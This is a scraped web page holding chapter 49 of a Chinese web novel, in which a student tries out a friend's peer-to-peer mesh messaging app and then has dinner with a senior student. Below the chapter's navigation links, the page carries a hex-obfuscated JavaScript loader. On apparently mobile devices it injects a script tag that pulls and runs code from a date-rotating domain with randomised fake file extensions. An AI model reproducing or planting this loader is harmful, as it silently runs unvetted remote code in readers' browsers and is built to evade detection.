返回第49章 烽火与炊烟(为盟主落雨天下第七啦加更)  木也马首页

关灯 护眼     字体:

上一章 目录 下一章

馀弦看着屏幕上一行行的代码,心中震撼不已。

面前这个善良丸子头,不仅在代码能力上很有才华,在设计软件的思路构想上,竟然也如此天才!

这简直就是一个去中心化的、永不掉线的、基于人海战术的

“赛博烽火台”。

馀弦脑子里冒出这个词。

烽火台的逻辑,和温晓的“多跳中继通信协议”类似。

在古代,一旦发现敌情,士兵就会立刻点燃烽火信号,后一台烽火看到马上跟着点燃,象是多米诺骨牌一样,一站接一站传递下去。

这就是中国古代,最为经典的、无需“中心化基站”的通讯系统。它完全靠烟与火的视觉信号,来实现信息的接力与传递。

在没有电报、手机的年代,能把边疆敌情,在几天时间之内传递到千里之外的中央,是一种非常高效的“脱机紧急广播”。

如果在那个暴雨如注、信号全无的“孤岛”时期,能有这么一个软件存在,那大家就不再是一座座孤岛,而是能够重新连接成为一片大陆。

“这太厉害了。”馀弦由衷地赞叹道:“温晓,你真是个天才。”

听到馀弦的夸奖,温晓有些不好意思地吐了吐舌头:“其实,技术门坎也不算高,主要是要有足够多的人安装才行,也就是所谓的网络效应”。”

象是怕馀弦太高估了这个项目,又接着解释道:“传输距离和带宽也都有限,发不了大文档,只能发发文本。我把安装包发给你!”

馀弦拿出手机,接收了那个只有几兆大小的安装包。

安装,打开。

界面很简洁,交互界面甚至有些简陋。

“你把你的公钥”发给我就好啦。”温晓凑过来。

馀弦复制了屏幕上那一串乱码,发给温晓。

那是系统自动生成的公钥,也就是传统意义上的“用户名id”。

“加之啦!”温晓晃了晃手机。

馀弦看着软件主页的地图上,两个孤零零的在线节点紧紧贴在一起。

“现在只有咱们两个?”

“对,现在只是测试版,而且我们就面对面站着,蓝牙能直接连上,其实跟蓝牙传输文档没有区别,距离一远就断了。”

温晓看着那两个可怜巴巴的小绿点,有些苦恼地叹了口气:“如果想让它能复盖整个江大,甚至整个江城,就需要足够多的中继器”才行,得有足够多的人安装这个软件,并让它在后台运行。”

这是一个典型的网络效应困境:没有用户就没有网络,没有网络就没有用户。

她抬起头,眼神里带着求助:“可是大家现在都有其他常用的聊天软件了,谁会愿意下载一个奇奇怪怪、界面简陋的软件呢?馀弦,你有什么思路吗?”

馀弦看着她那副苦恼的样子,思考着。

确实,现在这个信息爆炸的时代,推广一款新的社交软件肯定是难如登关。

但现在也是特殊的时机,经历过那几天“信息孤岛”的恐慌,大家对“备用连络手段”的须求应该是前所未有的高。

只要找准切入点,或许也没有想象中那么难。

“好,我帮你一起想想办法。”

馀弦收起手机,时间不早了,杨依依还在那边等着他。

“那我先走了,你也快回宿舍吧,路上注意安全。”

告别了还想留他讨论营销思路的温晓,馀弦再次转身没入了雨幕之中。

接下来的路线有些折腾。

现在江城的交通虽然恢复了,但很多路段还是积水难行。

他得先坐还没停运的传奇地铁4号线,回到老城区堂哥家,拿到计算机后,再坐地铁返回江大南门,再走路穿过大半个泥泞的校园,从西门出去,再走一小段才到公寓。

靠在地铁车门边的玻璃上,看着窗外飞速后退的隧道灯光,脑子里还在盘算着刚才的事情。

温晓做的这个“赛博烽火台”,这种去中心化的通信方式,不仅能够在灾难中让人们保持联系,更重要的是,它的隐蔽性极高。

不需要服务器、没有中心化节点、所有的消息都是在设备之间点对点传输。

这就意味着,没人能够监控这张网,也没人能够切断这张网。

这或许是最后一片“黑暗森林”。

如果以后真的要对抗tdi背后的那个庞大势力,这个软件,说不定会成为他们的一张很重要的底牌。

回到堂哥家时,屋里依然是空无一人,一切都还是他早上走时的样子。

馀弦没有停留,把笔记本计算机、电源适配器一股脑地塞进了防水登山包里。

再次坐上四号线,回到江大南门站时,已经是下午四点多了。

馀弦撑着伞,沿着学校里的一条小路往西门走去,路过物理学院主楼的时候,他远远地看了一眼。

一楼大厅的玻璃果然全碎了,绿化带被踩的泥土翻卷,宣传栏的公告都被撕的不成样子。

这就是“乌合之众”狂欢后的现场。

馀弦收回目光,加快了脚步。

穿过西门,公寓楼就在马路对面了。

馀弦站在公寓门口,收起还在滴水的雨伞,给杨依依学姐拨了个电话。

电话刚响一声,就被挂断了,紧接着,房门内传来一阵急促的脚步声。

反锁的密码防盗门拉开一条缝隙,还没进去,一股浓郁的、葱姜爆锅和红烧酱汁的香气,就顺着门缝溜出来,扑在了他的脸上。

馀弦愣了一下。

门被完全拉开,杨依依站在了玄关处。

学姐穿着自己给她找的一套家居卫衣,袖口高高挽起,几缕碎发垂在耳边。

最显眼的,是她身上系着的一条淡蓝色的围裙,围裙不长,只能复盖到上半身。

那是馀弦买的,挂在厨房里很久了。

“快进来吧。”

杨依依侧过身,门口摆着一双拖鞋。

馀弦迈进屋子,视线越过玄关,落在了不远处的餐桌上。

昏黄的暖光灯下,桌上已经摆了三四个盘子,热气腾腾,色泽鲜亮。

糖醋排骨泛着诱人的枣红色,清炒菜心翠绿欲滴,还有一盘刚出锅的滑蛋虾仁,嫩黄的鸡蛋还在微微颤动。

馀弦站在原地,整个人象是被定格了一样。

他的眼神有一瞬间的恍惚,记忆深处的某个画面,毫无征兆地和眼前重叠了o

在这个同样的房间里,同样的灯光下,曾经也有一个短发的女孩,系着同一条围裙,在这个狭小的厨房忙进忙出。

他推门进来,那个女孩举着锅铲,眉眼弯弯地喊一声:“洗手吃饭!”

那种熟悉的、温馨的、却已经从这个世界上彻底消失的画面,让他感到一阵心悸般的眩晕。

“馀弦?”杨依依的声音把他拉回现实。

学姐有些局促地重新绑了下她的高马尾,迟疑道:“那个是不是有点太突然了?这几天一直住在你家里,之前发烧又是你照顾我,有些过意不去。”

她指了指餐桌:“我看外卖平台恢复配送了,就买了点菜。我想着前几天暴雨,大家肯定都没吃好,就擅自做主了,想着请你吃顿饭表示感谢

馀弦回过神,看着桌上已经摆好的几盘菜,心里涌起一阵愧疚。

即便不说那个“近之者危”的卦象,学姐现在的处境,很大程度上可以说是自己导致的,可她竟然还做饭来答谢自己。

“没有,只是有点意外。”他换上拖鞋,笑了笑:“那麻烦学姐了。”

回想着这些天在堂哥家,虽然堂哥尽力了,但还是仅仅维持在“做熟”和“毒不死人”的水平,那个烙糊的煎饼和调味复杂的挂面,确实是

很尽力了。

相比之下,眼前这一桌,简直就是米其林级别的待遇。

“你先趁热吃,还有一个汤,很快就好。”

说完,她又转身钻进了厨房。

馀弦本来想直接问那个“重大发现”的事,但看着学姐忙碌的背影,又觉得这时候打断她谈这些沉重话题,实在有些煞风景。

话头被面前的香气堵了回去,他走到餐桌旁,坐下。

菜刚出锅,热气直往脸上扑。

在菜品刚呈上来的时候品尝,是对厨师最大的敬意。

他夹起一块糖醋排骨,酥烂脱骨,酸甜适口;又尝了一勺滑蛋虾仁,鲜嫩爽滑。

真的很好吃,是那种很家常的味道。

厨房里传来抽油烟机的嗡嗡声,还有水流冲洗蔬菜的声音。

馀弦放下筷子,有些坐不住了。

虽然在以前的记忆里,夏粒从来不让他进厨房。

每次他想进去帮忙,都会被夏粒毫不留情地推出来,还说什么“你不帮忙就是帮忙了”之类绕口令一样的话。

久而久之,他就习惯了那种“坐享其成”的模式。

但现在,让杨依依学姐一个刚退烧不久的病号,在厨房里忙活,自己在这坐等上菜,怎么想都不合适。

尤豫了一下,馀弦还是站起身,走到了厨房门口,假装要进去的样子。

出于礼貌,客套一下,至少问一句需不需要帮忙,然后就可以心安理得地回客厅等着了。

他觉得自己有点狡猾。

“学姐。”

馀弦倚着门框,看着正在搅动着汤锅的杨依依:“需不需要我帮忙?”

杨依依闻言,转过头,馀弦正等着那个“不用”的答案。

然而,杨依依的眼睛亮了一下。

“呀,正好。”她冲馀弦招了招手,动作随意地象是在招呼一条路边小狗:“快进来,我正缺个打下手的。帮我把葱花切一下,汤里要用。”

杨依依指了指案板上的小葱,又补了句:“小心手,别切到自己了哦。”

这这剧本不对啊?

馀弦有些发懵,学姐怎么没按套路出牌呢?

但他话都问出口了,这时候总不能再说“我其实就是客气一下”吧?

“哦好。”

馀弦只能硬着头皮,走进了那个对他来说稍显陌生的厨房。

空间狭小的厨房里,多了一个人立马显得有些拥挤。

蒸汽氤氲在两人之间,杨依依在灶台前尝着汤的咸淡,馀弦在案板前笨拙地切着葱花。

“切好了吗?”杨依依侧过头,看着馀弦有些生疏的刀功,忍不住匹了匹:“看来你平时自己不做饭的哦。”

“以前有人做,我主要负责吃和洗碗”馀弦低声说着,把切好的葱花推了过去。

杨依依接过葱花,撒进汤里,关火,盛出。

“那以后,你可以学着做一做,做饭很有意思的。”

她端起汤碗,看着馀弦,认真道:“想学的话,我也可以教你,你肯定学得很快的。”

没等他回应,杨依依已经端着汤碗走出了厨房。

热气腾腾的西红柿蛋花汤摆在桌子中央,鲜红的西红柿和毫嫩的蛋花漂浮在汤上,撒着馀弦亲手切的葱花。

两人相对而坐,馀弦低着头,舀了一勺汤送进嘴里,西红柿酸甜、鸡蛋鲜香葱花也切得很均匀,他刚准备夸赞一声学姐的厨艺。

就在这时,眼前突然毫光一闪。

“咔嚓—

—”

快门声在安静的客厅里响起。

馀弦愣了一下,勺子停在嘴边,他抬起头,看到杨依依学姐正对着他举着手机。

“学姐,你这是”他还没旦应过来。

“这张拍的不错。”杨依依看着手机屏幕,双指放大,似乎在欣赏刚才的作品:“光线正好,就是表情有点呆。”

馀弦放下勺子,这才想起来,那天学姐在看到那本父母的影集时,说过要和大家一起帮他拍照,补完后面空着的半本。

他低着头:“我以紫你就是随口一说

,他埋着头,大口大口地喝着汤。

“慢点喝,烫坏了。”

“谢谢。”馀弦没敢抬头,他觉得自己现在肯定很狼狈。

这顿饭吃得很安静,直到两人都放下筷子,馀弦才缓过神,想到今天来的目的。

“学姐,是不是其实没有什么重大发现”?”

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");